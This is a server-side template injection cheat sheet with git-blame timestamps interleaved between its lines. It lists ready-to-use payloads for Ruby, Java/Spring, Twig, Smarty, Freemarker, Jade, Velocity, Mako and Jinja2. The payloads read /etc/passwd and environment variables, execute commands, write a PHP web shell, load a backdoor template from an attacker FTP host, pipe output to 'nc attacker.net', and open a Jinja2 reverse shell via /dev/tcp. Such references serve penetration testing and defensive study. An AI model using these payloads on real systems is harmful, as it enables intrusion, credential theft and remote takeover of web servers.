2017-04-01 15:48:44 +00:00
# Templates Injections
2018-03-12 08:17:31 +00:00
> Template injection allows an attacker to include template code into an existant (or not) template.
Recommended tool: [Tplmap ](https://github.com/epinna/tplmap )
e.g:
```
./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
```
2017-04-01 15:48:44 +00:00
2018-02-15 22:27:42 +00:00
## Ruby
2018-03-12 08:17:31 +00:00
### Basic injection
2018-02-15 22:27:42 +00:00
```python
< %= 7 * 7 %>
```
2018-03-12 08:17:31 +00:00
### Retrieve /etc/passwd
2018-02-15 22:27:42 +00:00
```python
< %= File.open('/etc/passwd').read %>
```
## Java
2018-03-12 08:17:31 +00:00
### Basic injection
2018-02-15 22:27:42 +00:00
```java
${{7*7}}
```
2018-03-12 08:17:31 +00:00
### Retrieve the system’ s environment variables.
2018-02-15 22:27:42 +00:00
```java
${T(java.lang.System).getenv()}
```
2018-03-12 08:17:31 +00:00
### Retrieve /etc/passwd
2018-02-15 22:27:42 +00:00
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2018-03-12 08:17:31 +00:00
## Twig
### Basic injection
```python
{{7*7}}
{{7*'7'}} would result in 49
```
### Template format
```python
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
### Code execution
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```
## Smarty
```python
{php}echo `id` ;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?> ",self::clearConfig())}
```
## Freemarker
Default functionality.
```python
< #assign
ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
```
## Jade / Codepen
```python
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
## Velocity
```python
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
## Mako
```python
< %
import os
x=os.popen('id').read()
%>
${x}
```
2017-04-01 15:48:44 +00:00
## Jinja2
[Official website ](http://jinja.pocoo.org/ )
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
2018-03-12 08:17:31 +00:00
### Basic injection
2018-02-15 22:27:42 +00:00
```python
2017-07-16 14:30:08 +00:00
{{4*4}}[[5*5]]
2018-03-12 08:17:31 +00:00
{{7*'7'}} would result in 7777777
2017-07-16 14:30:08 +00:00
```
2017-04-01 15:48:44 +00:00
Jinja2 is used by Python Web Frameworks such as Django or Flask.
The above injections have been tested on Flask application.
2018-03-12 08:17:31 +00:00
### Template format
2018-02-15 22:27:42 +00:00
```python
2017-04-01 15:48:44 +00:00
{% extends "layout.html" %}
{% block body %}
< ul >
{% for user in users %}
< li > < a href = "{{ user.url }}" > {{ user.username }}< / a > < / li >
{% endfor %}
< / ul >
{% endblock %}
```
2018-03-12 08:17:31 +00:00
### Dump all used classes
2018-02-15 22:27:42 +00:00
```python
2017-04-01 15:48:44 +00:00
{{ ''.__class__.__mro__[2].__subclasses__() }}
```
2018-03-12 08:17:31 +00:00
### Dump all config variables
2017-04-01 15:48:44 +00:00
```python
{% for key, value in config.iteritems() %}
< dt > {{ key|e }}< / dt >
< dd > {{ value|e }}< / dd >
{% endfor %}
```
2018-03-12 08:17:31 +00:00
### Read remote file
2018-02-15 22:27:42 +00:00
```python
2017-04-01 15:48:44 +00:00
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
2017-07-16 14:30:08 +00:00
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
2017-04-01 15:48:44 +00:00
```
2018-03-12 08:17:31 +00:00
### Write into remote file
2017-04-01 15:48:44 +00:00
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
2018-03-12 08:17:31 +00:00
### Remote Code Execution via reverse shell
2017-07-16 14:30:08 +00:00
Listen for connexion
2017-04-01 15:48:44 +00:00
```
nv -lnvp 8000
```
Inject this template
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
2017-04-01 15:53:43 +00:00
{{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config
2017-04-01 15:48:44 +00:00
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>& 1',shell=True) }} # connect to evil host
```
2018-02-15 22:27:42 +00:00
## Thanks to
* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/ ](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/ )
* [Yahoo! RCE via Spring Engine SSTI ](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/ )
* [Ruby ERB Template injection - TrustedSec ](https://www.trustedsec.com/2017/09/rubyerb-template-injection/ )
2018-03-12 08:17:31 +00:00
* [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger) ](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98 )
* [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax ](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf )